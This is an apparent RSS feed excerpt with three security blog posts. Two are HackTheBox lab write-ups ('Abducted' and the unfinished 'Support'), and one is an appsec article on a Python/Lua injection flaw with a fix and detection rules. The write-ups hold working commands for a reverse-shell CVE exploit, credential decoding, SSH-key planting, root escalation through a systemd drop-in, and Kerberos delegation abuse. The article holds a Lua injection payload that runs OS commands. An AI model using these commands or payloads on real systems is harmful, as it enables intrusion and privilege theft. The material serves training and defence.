system.</em></blockquote><p>We will be using the following <a href="https://github.com/TheCyberGeek/CVE-2026-4480-PoC/tree/main">POC</a> from <a href="https://github.com/TheCyberGeek">TheCyberGeek</a>.</p><pre># Cloning the POC.<br>git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git<br><br># Executing the exploit.<br>python3 exploit.py $target_ip $listener_ip $listener_port -P $printer_share<br>python3 exploit.py 10.129.244.177 10.10.16.246 8443 -P HP-Reception</pre><figure><img alt="reverse shell by exploiting CVE-2026–4480" src="https://cdn-images-1.medium.com/max/1024/1*zhobLU_tVeV1eL7ybaYZGg.png" /><figcaption><em>Reverse Shell — CVE-2026–4480</em></figcaption></figure><p>We successfully received a reverse shell as user samba. The tool I used in the screenshot to receive the reverse shell is <a href="https://github.com/brightio/penelope">penelope</a>.</p><h3>Post Exploitation — Rclone</h3><p>While enumerating for more information to escalate our privileges, I found credentials in a config file rclone.conf of user svc-backup.</p><blockquote><strong>Rclone</strong> is a powerful, open-source command-line program used to manage, sync, and back up files across your local computer, servers, and over 70 different cloud storage providers (like Google Drive, Dropbox, and Amazon S3).</blockquote><pre># Find .conf files.<br>find / -type f -name &quot;*.conf&quot; 2&gt;/dev/null | grep -Ev &quot;^/usr/|^/etc/&quot;<br><br># View the file.<br>cat /opt/offsite-backup/rclone.conf<br><br># Credentials (obfuscated)<br>svc-backup:HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw</pre><figure><img alt="credentials in rclone configuration file" src="https://cdn-images-1.medium.com/max/1024/1*ZLOZsaDwD_gTwvUEgGs7og.png" /><figcaption><em>Credentials of svc-backup</em></figcaption></figure><p>The credentials are obscured by rclone. Rclone obscures them in reversible base64 encoding that only rclone can decode.</p><pre># Install rclone tool.<br>sudo apt install rclone -y<br><br># Retrieve the password.<br>$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw<br>iXzvcib3SrpZ</pre><h3>User Flag — Scott</h3><p>Now that we have the plain-text password iXzvcib3SrpZ, we will test it against the other users on the machine, Marcus and Scott.</p><p>The password worked for Scott, allowing us to log in via <strong>SSH</strong>.</p><pre>$ ssh scott@abducted.htb                     <br>The authenticity of host &#39;abducted.htb (10.129.244.177)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0<br>This key is not known by any other names.                                                      <br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;abducted.htb&#39; (ED25519) to the list of known hosts.<br>scott@abducted.htb&#39;s password: <br>Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)<br>&lt;...SNIP...&gt;<br>scott@abducted:~$ id<br>uid=1000(scott) gid=1001(scott) groups=1001(scott)<br><br># Reading user flag<br>scott@abducted:~$ cat user.txt<br>b3dc6a46e0#####################</pre><h3>Privilege Escalation</h3><h3>Scott -&gt; Marcus</h3><p>While enumerating further, I found something that stands out. The transfer share in the Samba configuration file has force user = Marcus. It means every file will be o awned by Marcus user no matter whoever uploads it. The allow insecure wide links also overrides and allows the symbolic links to point outside the shared directory which by default is disabled.</p><figure><img alt="samba configuration allowing to upload file as another user with wide link set to yes" src="https://cdn-images-1.medium.com/max/759/1*DJWnE06k2myfUDi4zXbeLA.png" /><figcaption><em>Samba vulnerable configurations</em></figcaption></figure><pre># View wide link configuration<br>grep -E &#39;unix extensions|wide links&#39; /etc/samba/smb.conf<br><br># View transfer share configuration<br>tail -n +17 /etc/samba/shares.conf</pre><p>We will abuse the badly configured Samba service to drop an SSH key in Marcus&#39;s home directory. We will start by generating an ssh-key under the/tmp folder then we will link the folder to /home/marcus and upload the files. All of that can be done on the target machine as Scott.</p><pre># Create ssh key<br>scott@abducted:~$ ssh-keygen -q -t ed25519 -N &#39;&#39; -f /tmp/k<br><br># Link directories<br>scott@abducted:~$ ln -s /home/marcus /srv/transfer/keys<br><br># Upload the keys<br>scott@abducted:~$ smbclient //127.0.0.1/transfer -U &#39;scott%iXzvcib3SrpZ&#39; \<br>-c &#39;mkdir keys/.ssh; put /tmp/k.pub keys/.ssh/authorized_keys&#39;<br>putting file /tmp/k.pub as \keys\.ssh\authorized_keys (93.7 kb/s) (average 93.8 kb/s)</pre><p>File (authorized_keys) are successfully uploaded and placed, and now we can SSH as marcus.</p><pre>scott@abducted:/tmp$ ssh marcus@localhost -i k<br>Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)<br>&lt;...SNIP...&gt;<br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br>Last login: Fri Jun 19 14:25:36 2026 from 127.0.0.1</pre><h3>Marcus -&gt; Root</h3><p>While enumerating, I found that Marcus is part of operators group and operators as a group has write permission over /etc/systemd/system/smbd.service.d.</p><pre>marcus@abducted:~$ id<br>uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)<br>marcus@abducted:~$ find / -group operators 2&gt;/dev/null<br>/etc/systemd/system/smbd.service.d</pre><figure><img alt="operators group has write permission over systemd directory letting us gain root privileges" src="https://cdn-images-1.medium.com/max/829/1*I7QepgvLAp6ztOEwXsvobQ.png" /><figcaption><em>Operator group has write permission</em></figcaption></figure><p>The /etc/systemd/system/smbd.service.d/ directory serves as a configuration drop-in folder for the Samba service. Any .conf files placed inside this directory are dynamically merged into the main smbd.service definition upon the next configuration reload.</p><p>By defining configuration directives like ExecStartPre=, an administrator (or an attacker with write access) can dictate commands to execute immediately before the main service initializes. Because the smbd daemon runs with elevated system privileges, any commands injected into this drop-in file will execute directly as <strong>root</strong> whenever the service is started or restarted.</p><p>We will abuse this one by creating a malicious file under /etc/systemd/system/smbd.service.d, the new configuration will be executed when we restart the service. The command we used below will set SUID permission on /bin/bash which we can then use to gain root privileges.</p><blockquote><em>When the SUID bit is set on an executable, any user who runs that program will temporarily inherit the privileges of the file’s owner, rather than the privileges of the user running it. Since </em><em>/bin/bash is owned by root, setting the SUID bit means any standard user running it would execute commands with full root privileges.</em></blockquote><pre>cat &gt; /etc/systemd/system/smbd.service.d/daffy.conf &lt;&lt; &#39;EOF&#39;<br>[Service]<br>ExecStartPre=/bin/bash -c &#39;chmod +s /bin/bash&#39;<br>EOF</pre><p>The configuration file is created. Now we will reload and restart the service to execute the daffy.conf.</p><pre>marcus@abducted:~$ systemctl daemon-reload<br>marcus@abducted:~$ systemctl restart smbd</pre><p>Now we can use /bin/bash -p to inherit root permission.</p><pre>marcus@abducted:~$ /bin/bash -p<br>bash-5.2# id<br>uid=1001(marcus) gid=1002(marcus) euid=0(root) egid=0(root) groups=0(root),1000(operators),1002(marcus)<br>bash-5.2# cat /root/root.txt<br>76fe81d434####################</pre><p>We are now root on <a href="https://labs.hackthebox.com/achievement/machine/894352/924">Abducted</a> from HackTheBox. This was a very fun box to solve. Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af3807a0b2cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Zero-Day Sprint: Defending the AI Code Supply Chain Against Cross-Language RCE]]></title>
            <link>https://medium.com/@bericontraster/the-zero-day-sprint-defending-the-ai-code-supply-chain-against-cross-language-rce-3b78ef7af9dc?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b78ef7af9dc</guid>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 11:15:26 GMT</pubDate>
            <atom:updated>2026-06-18T11:15:26.407Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Sandbox breakout cover image for AI vulnerabilities" src="https://cdn-images-1.medium.com/max/1024/1*1FbzVz7rvCf-6VSYNtQPvw.png" /></figure><p>The vulnerability lifecycle has collapsed. Historically, security teams operated under the assumption that they had roughly 60 days from a vulnerability’s introduction to its widespread automated exploitation. Today, autonomous offensive AI agents can analyze and deploy exploits against exposed software interfaces within an average window of just <strong>four hours</strong>.</p><p>As organizations rush to integrate artificial intelligence into their development workflows — allowing developers to rapidly generate and embed feature logic — a critical security gap has emerged. Autonomous code assistants excel at generating syntactically correct code, but they consistently fail to comprehend complex architectural security boundaries.</p><p>The primary battleground for this flaw lies in <strong>Cross-Language Semantic Vulnerabilities</strong>. When an application attempts to bridge two distinct execution environments (such as running embedded script engines like Lua, Python, or JavaScript inside a performance-critical C++ or Python host application), AI utilities frequently omit boundary validation. This architectural blind spot introduces severe Remote Code Execution (RCE) vectors that standard Static Application Security Testing (SAST) tools miss entirely.</p><p>Here is a technical deep dive into how these flaws manifest, how they are exploited, and how to permanently secure them.</p><h3>The Vulnerable Architecture</h3><p>Consider a modern, high-performance web platform or automation engine that allows users to write lightweight data processing scripts. To achieve this, a host application (written in Python) dynamically spins up an embedded Lua script engine to execute user-defined data transformations.</p><pre>[ UNTRUSTED USER INPUT ] <br>          │<br>          ▼<br>┌────────────────────────────────────────┐<br>│  Host Application Environment (Python) │<br>│                                        │<br>│  f&quot;local user = \&quot;{user_id}\&quot;;&quot;        │ &lt;── FLAW: Data is treated as code structural logic<br>└───────────────────┬────────────────────┘<br>                    │ (Cross-Language Bridge)<br>                    ▼<br>┌────────────────────────────────────────┐<br>│  Embedded Guest Runtime (Lua Sandbox)  │<br>│                                        │<br>│  [ Compiler parses input as command ]   │ &lt;── BREAKOUT: Accesses &#39;os.execute()&#39;<br>└───────────────────┬────────────────────┘<br>                    │<br>                    ▼<br>[ HOST OPERATING SYSTEM COMPROMISE ]</pre><p>Because the code structure was rapidly assembled using an AI assistant, the interface relies on naive string formatting to pass variables from the secure host environment directly into the execution context of the script engine.</p><pre>import lupa<br>from lupa import LuaRuntime<br><br>class VulnerableRunner:<br>    def __init__(self):<br>        # Initialize a standard Lua runtime environment<br>        self.lua = LuaRuntime(unpack_returned_tuples=True)<br><br>    def process_user_data(self, user_id, transform_script):<br>        &quot;&quot;&quot;<br>        Executes a user-provided data transformation script.<br>        Intended to safely inject the user_id into the Lua context.<br>        &quot;&quot;&quot;<br>        # CRITICAL FLAW: Direct string concatenation allows an attacker <br>        # to break out of the string literal boundary within the script runner.<br>        malicious_glue_code = f&#39;local target_user = &quot;{user_id}&quot;;&#39;<br>        <br>        # Combine the host configuration with the user&#39;s custom script<br>        full_execution_block = malicious_glue_code + &quot;\n&quot; + transform_script<br>        <br>        print(&quot;[*] Passing execution block to underlying engine...&quot;)<br>        return self.lua.execute(full_execution_block)<br><br># Simulate an application server accepting incoming request data<br>if __name__ == &quot;__main__&quot;:<br>    runner = VulnerableRunner()<br>    <br>    # Legit user input works fine<br>    safe_id = &quot;USR-8849&quot;<br>    safe_script = &quot;return &#39;Processing completed for &#39; .. target_user&quot;<br>    print(runner.process_user_data(safe_id, safe_script))</pre><h4>The Root Cause Analysis</h4><p>The flaw here is an architecture-level <strong>Injection Vulnerability</strong>. The developer assumed that because the script execution engine is restricted to its own runtime library, it cannot harm the underlying host system. However, by using simple string formatting (f&#39;local target_user = &quot;{user_id}&quot;;&#39;), the host application lets the input data structurally alter the script logic itself before it hits the compiler.</p><h3>Breaking the Sandbox: The Exploit Demonstration (PoC)</h3><p>An attacker interacting with this endpoint notices that the input field user_id is not sanitized. By craftily structuring the input payload, the attacker can cleanly close the open quotation mark, execute arbitrary Lua logic, inject host OS commands via unauthorized module loading, and comment out the rest of the legitimate application code.</p><pre>from app_vulnerable import VulnerableRunner<br><br>def run_exploit():<br>    attacker_engine = VulnerableRunner()<br><br>    # The malicious payload breaks out of the string context, loads the OS library, <br>    # executes a system command, and uses a Lua comment (--) to discard the trailing quote.<br>    malicious_user_id = &#39;attacker&quot;; local os = require(&quot;os&quot;); os.execute(&quot;echo [!] RCE SUCCESSFUL: EXFILTRATING SYSTEM SENSITIVE DATA &gt; /tmp/pwned&quot;); --&#39;<br>    <br>    # The user&#39;s intended script doesn&#39;t even matter at this stage<br>    dummy_user_script = &quot;return &#39;Done&#39;&quot;<br><br>    print(f&quot;[*] Deploying Exploit Payload...&quot;)<br>    attacker_engine.process_user_data(malicious_user_id, dummy_user_script)<br>    <br>    # Verify if the host system was compromised<br>    try:<br>        with open(&quot;/tmp/pwned&quot;, &quot;r&quot;) as f:<br>            print(f&quot;[SUCCESS] Host verification confirmed:\n    {f.read().strip()}&quot;)<br>    except FileNotFoundError:<br>        print(&quot;[FAILED] Exploit blocked or file path not written.&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    run_exploit()</pre><h4>Exploit Breakdown</h4><ol><li><strong>Context Escape:</strong> The sequence attacker&quot;; cleanly terminates the target_user variable assignment inside the host memory engine.</li><li><strong>Privilege Escalation via Imports:</strong> The payload calls require(&quot;os&quot;). Because the Lua runtime was initialized globally without restriction, it inherits access to the operating system APIs of the Python host process.</li><li><strong>Command Execution:</strong> os.execute() forces the host system to drop out of the programming environment entirely and run low-level terminal commands.</li></ol><h3>Engineering a Secure Architecture (The Remediation)</h3><p>Fixing this vulnerability permanently requires moving completely away from unsafe string composition and strictly enforcing an <strong>isolated, parameter-driven security posture</strong>.</p><p>To successfully secure cross-language wrappers, you must:</p><ul><li>Never construct code blocks dynamically via string interpolation.</li><li>Inject data objects strictly as isolated global variables or execution arguments.</li><li>Formally restrict the execution runtime sandbox by blocking access to dangerous modules (like os, io, or package loaders).</li></ul><pre>import lupa<br>from lupa import LuaRuntime<br><br>class HardenedRunner:<br>    def __init__(self):<br>        # REMEDIATION 1: Instantiate a restricted execution environment.<br>        # By avoiding native globals, we strip access to dangerous builtins (require, os, io).<br>        self.lua = LuaRuntime(<br>            unpack_returned_tuples=True,<br>            register_builtins=False,  # Blocks standard package loading mechanisms<br>            register_eval=False<br>        )<br><br>    def safe_process_user_data(self, user_id, transform_script):<br>        &quot;&quot;&quot;<br>        Executes user transformations securely by enforcing object isolation <br>        and strict parameter passing.<br>        &quot;&quot;&quot;<br>        # REMEDIATION 2: Bind variables safely into the runtime context <br>        # as isolated objects. Data remains data; it is never parsed as code execution.<br>        lua_globals = self.lua.globals()<br>        lua_globals[&#39;target_user&#39;] = str(user_id) # Typecast explicitly to enforce data sanity<br>        <br>        print(&quot;[*] Securely executing sandboxed script runtime...&quot;)<br>        <br>        # Run the logic. If a payload attempts to call &#39;require&#39;, the runtime will crash safely.<br>        return self.lua.execute(transform_script)<br><br>if __name__ == &quot;__main__&quot;:<br>    secure_runner = HardenedRunner()<br>    <br>    # Attempting the identical exploit from earlier<br>    malicious_user_id = &#39;attacker&quot;; local os = require(&quot;os&quot;); os.execute(&quot;echo PWNED&quot;); --&#39;<br>    safe_script = &quot;return &#39;Current Context User: &#39; .. tostring(target_user)&quot;<br>    <br>    try:<br>        result = secure_runner.safe_process_user_data(malicious_user_id, safe_script)<br>        print(f&quot;[Result] Output: {result}&quot;)<br>    except Exception as e:<br>        print(f&quot;[Blocked] Security system successfully caught exploitation attempt.\nError Details: {e}&quot;)</pre><h3>Beyond the Code: Infrastructure-Level Defense-in-Depth</h3><p>Remediating the code directly at the application layer is your first line of defense, but true enterprise security assumes that code-level sandboxes can and will fail. If an AI utility introduces a similar multi-language boundary gap elsewhere in your stack, system-level hardening ensures that an exploitation breakout is contained before it results in total host compromise.</p><p>To mitigate cross-language engine risks, enforce these three structural controls:</p><ul><li><strong>Enforce Zero-Privilege Process Isolation:</strong> Never run the application process hosting the script runtime under an elevated account like root, Administrator, or a standard high-privilege web user. Isolate the execution engine to its own severely restricted local service user account (e.g., lua_runner) that possesses zero read or write access to the rest of the file system.</li><li><strong>Implement System Call Filtering via Seccomp:</strong> Use Linux kernel security profiles (seccomp) to strictly limit what the host runtime process can request from the operating system. Even if an attacker successfully forces the execution engine to execute an os.execute() breakout, the kernel will instantly terminate the process if unauthorized system calls like execve or fork are detected.</li><li><strong>Immutable Containerization Boundaries:</strong> Package the script-parsing microservice within an isolated Docker container configured with a completely read-only root filesystem (--read-only) and entirely stripped kernel capabilities (--cap-drop=ALL). If an adversary achieves RCE, they will find themselves trapped in an ephemeral runtime environment with no ability to drop malicious binaries, modify files, or pivot across your internal network.</li></ul><h3>Conclusion: Shifting Security Beyond the “Vibe Code” Era</h3><p>Relying exclusively on traditional scanning tools creates a false sense of security. Because SAST engines often analyze code languages individually rather than analyzing the architectural translation layer <em>between</em> them, these complex multi-language flaws routinely pass right into deployment.</p><p>We can use custom detection rules like the one below to detect such gaps.</p><pre>rules:<br>  - id: python-lua-string-injection<br>    pattern-either:<br>      - pattern: $LUA.execute(&quot;...&quot; + $VAR + &quot;...&quot;)<br>      - pattern: $LUA.execute(f&quot;...&quot;)<br>    message: &quot;Critical Flaw: Untrusted Python string interpolation detected inside a Lua execution runtime block. Use object bindings instead.&quot;<br>    languages: [python]<br>    severity: ERROR<br>  - id: unsafe-lupa-initialization<br>    pattern: lupa.LuaRuntime(register_builtins=True)<br>    message: &quot;Unsafe Lua sandbox configuration: Native builtins are enabled, allowing potential RCE.&quot;<br>    languages: [python]<br>    severity: WARNING</pre><p>As autonomous vulnerability exploitation cycles contract to mere hours, engineering teams must champion Secure-by-Design paradigms. When wrapping disparate technologies, validate data purely through typed parameters, enforce strict runtime least-privilege constraints, and treat all automated code generation with systematic, rigorous architecture reviews.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b78ef7af9dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Support — HackTheBox Detailed Writeup]]></title>
            <link>https://medium.com/@bericontraster/support-hackthebox-detailed-writeup-c56fde1769d2?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/c56fde1769d2</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[network-analysis]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Wed, 13 May 2026 18:06:40 GMT</pubDate>
            <atom:updated>2026-05-13T18:51:55.807Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Support ctf box logo with green cube background and author name along with machine details" src="https://cdn-images-1.medium.com/max/1024/1*MQGTO5RgbjzTkJCYIFgpDQ.png" /><figcaption>Support — HackTheBox</figcaption></figure><p>Today, we are solving <a href="https://app.hackthebox.com/machines/Support">Support</a> from <a href="https://www.hackthebox.com/">HackTheBox</a>. The difficulty is easy for this Windows machine. It’s created by <a href="https://app.hackthebox.com/users/4935">0xdf</a>.</p><p>We’ll find a .NET tool from an open SMB share with guest login. We’ll sniff the traffic and find the password for the LDAP user. With that, we will find the password of the SUPPORT user in the info field. That account will have GenericAll on the DC machine object, and we’ll abuse this to gain administrator access to the box.</p><h3>Reconnaissance</h3><p>Starting with a namp scan with script and version detection enabled.</p><pre>$ nmap 10.129.39.98 -sCV -A                                                                  <br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-12 14:08 PKT<br>Stats: 0:01:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.96% done; ETC: 14:10 (0:00:00 remaining)<br>Nmap scan report for 10.129.39.98<br>Host is up (0.21s latency).<br>Not shown: 988 filtered tcp ports (no-response) <br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-12 09:09:19Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC                                                                                                                                      [0/27]<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)<br>OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016<br>Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: 5s<br>| smb2-time: <br>|   date: 2026-05-12T09:09:48<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br><br>TRACEROUTE (using port 53/tcp)<br>HOP RTT       ADDRESS<br>1   260.17 ms 10.10.16.1<br>2   261.45 ms 10.129.39.98<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 100.14 seconds</pre><p>The output clearly shows that it’s an Active Directory server. The domain name is support.htb, let’s add it to /etc/hosts.</p><pre>$ sudo echo &quot;10.129.39.98 support.htb&quot; &gt;&gt; /etc/hosts</pre><h3>SMB Guest Login</h3><p>I like to start with SMB shares and see if null or guest logins are enabled. We’ll use <a href="https://github.com/Pennyw0rth/NetExec">Netexec</a> to enumerate.</p><pre>$ nxc smb support.htb -u &#39;a&#39; -p &#39;&#39; --shares<br>SMB         10.129.39.98    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.129.39.98    445    DC               [+] support.htb\a: (Guest)<br>SMB         10.129.39.98    445    DC               [*] Enumerated shares<br>SMB         10.129.39.98    445    DC               Share           Permissions     Remark<br>SMB         10.129.39.98    445    DC               -----           -----------     ------<br>SMB         10.129.39.98    445    DC               ADMIN$                          Remote Admin<br>SMB         10.129.39.98    445    DC               C$                              Default share<br>SMB         10.129.39.98    445    DC               IPC$            READ            Remote IPC<br>SMB         10.129.39.98    445    DC               NETLOGON                        Logon server share <br>SMB         10.129.39.98    445    DC               support-tools   READ            support staff tools<br>SMB         10.129.39.98    445    DC               SYSVOL                          Logon server share</pre><p>Note that we used a random username, and the password should be empty for guest login with Netexec. We have read access to two shares, with support-tools standing out.</p><p>We will use smbclient to access the share.</p><pre>$ smbclient -U &quot;&quot; \\\\support.htb\\support-tools<br>Password for [WORKGROUP\]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; dir<br>  .                                   D        0  Wed Jul 20 22:01:06 2022<br>  ..                                  D        0  Sat May 28 16:18:25 2022<br>  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 16:19:19 2022<br>  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 16:19:55 2022<br>  putty.exe                           A  1273576  Sat May 28 16:20:06 2022<br>  SysinternalsSuite.zip               A 48102161  Sat May 28 16:19:31 2022<br>  UserInfo.exe.zip                    A   277499  Wed Jul 20 22:01:07 2022<br>  windirstat1_1_2_setup.exe           A    79171  Sat May 28 16:20:17 2022<br>  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 16:19:43 2022<br><br>                4026367 blocks of size 4096. 965140 blocks available</pre><p>Going through the list of binaries and zip files UserInfo.exe.zip is the only one that stands out. Let’s download the zip file using get.</p><pre>smb: \&gt; get UserInfo.exe.zip<br>getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (241.7 KiloBytes/sec) (average 241.7 KiloBytes/sec)</pre><p>This is a Mono/.Net binary. We can run this binary on Kali.</p><pre>$ unzip UserInfo.exe.zip<br>$ file UserInfo.exe    <br>UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections</pre><p>We can install the Mono/.Net framework to run the binary with the following command.</p><pre>$ sudo apt update<br>$ sudo apt install mono-complete</pre><p>Let’s run the binary with the -h flag.</p><pre>$ mono UserInfo.exe -h       <br><br>Usage: UserInfo.exe [options] [commands]<br><br>Options: <br>  -v|--verbose        Verbose output                                    <br><br>Commands: <br>  find                Find a user                                       <br>  user                Get information about a user</pre><h4>Sniffing Packets — Wireshark</h4><p>Let’s fire up our Wireshark and use the find command with a random username.</p><pre>$ sudo wireshark &amp;<br>$ mono UserInfo.exe find -first anyuser<br>[-] Exception: No Such Object</pre><p>While listening on TUN0 I followed the stream and found the LDAP user&#39;s credentials.</p><figure><img alt="Wireshark, showing credentials of ldap user sent in plaintext." src="https://cdn-images-1.medium.com/max/1024/1*NoH2aEqyTfLP4UGu6aSEew.png" /><figcaption>LDAP User Credentials — Wireshark</figcaption></figure><figure><img alt="Wireshark, ldap credentials sent in plaintext of user LDAP." src="https://cdn-images-1.medium.com/max/818/1*fxoeoLm0Wzc1whddoiEhWA.png" /><figcaption>LDAP User Credentials — Wireshark</figcaption></figure><p>Let’s verify the credentials with Netexec.</p><pre>$ nxc smb support.htb -u &#39;ldap&#39; -p $pass            <br>SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK1&lt;...SNIP...&gt;$tRWxPWO1%lmz</pre><h3>Foothold — User Flag</h3><p>We will now enumerate the domain users&#39; information with Ldapsearch and see if we find anything.</p><pre>ldapsearch -H ldap://support.htb -D &#39;ldap@support.htb&#39; -w $pass -b &quot;dc=support,dc=htb&quot; | less</pre><figure><img alt="Credentials of support@support.htb user with ldapsearch" src="https://cdn-images-1.medium.com/max/713/1*8Dmenpc4ewTU_GyKJFXn0A.png" /><figcaption>Credentials in Info Field — Support@support.htb</figcaption></figure><p>While going through the results, I found the credentials of the support@support.htb user in the info field with the password Ironside47pleasure40Watchful.</p><pre>$ evil-winrm -i support.htb -u &#39;support&#39; -p &#39;Ironside47pleasure40Watchful&#39;<br>                                        <br>Evil-WinRM shell v3.9<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&#39; for module Reline<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\support\Documents&gt; more ../Desktop/user.txt<br>429d54a66***********************</pre><h3>Privilege Escalation — Administrator</h3><p>We will use BloodHound Python to enumerate the domain. A Python-based ingestor for BloodHound.</p><pre>$ bloodhound-python --dns-tcp -ns 10.129.230.181 -d support.htb -u ldap -p $pass -c all<br>INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)<br>INFO: Found AD domain: support.htb<br>INFO: Getting TGT for user<br>INFO: Connecting to LDAP server: dc.support.htb<br>INFO: Found 1 domains<br>INFO: Found 1 domains in the forest<br>INFO: Found 1 computers<br>INFO: Connecting to LDAP server: dc.support.htb<br>INFO: Found 21 users<br>INFO: Found 53 groups<br>INFO: Found 2 gpos<br>INFO: Found 1 ous<br>INFO: Found 19 containers<br>INFO: Found 0 trusts<br>INFO: Starting computer enumeration with 10 workers<br>INFO: Querying computer: dc.support.htb<br>INFO: Done in 00M 32S</pre><p>Now let’s import these files into the BloodHound instance. If we set the owned tag on the support user and run the Shortest path from the owned object query, we’ll see that support@support.htb is a member of Shared Supprt Account group that has GenericAll on dc.support.htb.</p><figure><img alt="Shortest path from owned objects, BloodHound, showing support user is part of shared account group which genericall on dc" src="https://cdn-images-1.medium.com/max/1024/1*fIYlMp9Q4zGNxo751xsMEA.png" /><figcaption>Shotest Paths From Owned Objects — BloodHound</figcaption></figure><p>We will abuse the resource-based constrained delegation. IT works by adding a fake computer to the domain, which will be under our control. Then we can act as the Domain Controller to request Kerberos tickets for the fake computer, giving us the ability to impersonate other accounts, like Administrator, to gain admin privileges.</p><figure><img alt="Group with generic all on DC and instructions to abuse it in BloodHound" src="https://cdn-images-1.medium.com/max/1024/1*xhWx1jai4DN1m4DBlvVTGg.png" /><figcaption>Linux Abuse — GenericAll over DC</figcaption></figure><h4>Abusing GeneicAll — Impacket</h4><p>For tools, all we need is <a href="https://github.com/fortra/impacket">Impacket</a> installed on Kali. Impacket is a collection of Python classes for working with network protocols.</p><p>First off, we’ll create a new machine account (daffy$) on the domain using the credentials of the support user. This newly created account will serve as the required security principal to set up and execute the Resource-Based Constrained Delegation (RBCD) attack.</p><pre>$ impacket-addcomputer -dc-ip 10.129.230.181 -computer-name daffy -computer-pass &#39;Password123!&#39; &#39;support.htb/support:Ironside47pleasure40Watchful&#39;<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Successfully added machine account daffy$ with password Password123!.</pre><p>Now we will abuse<strong> GenericAll</strong> privileges to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the Domain Controller. By doing so, we’ll grant the machine account (daffy$) the permission to impersonate any domain user when authenticating to that specific target.</p><pre>$ impacket-rbcd 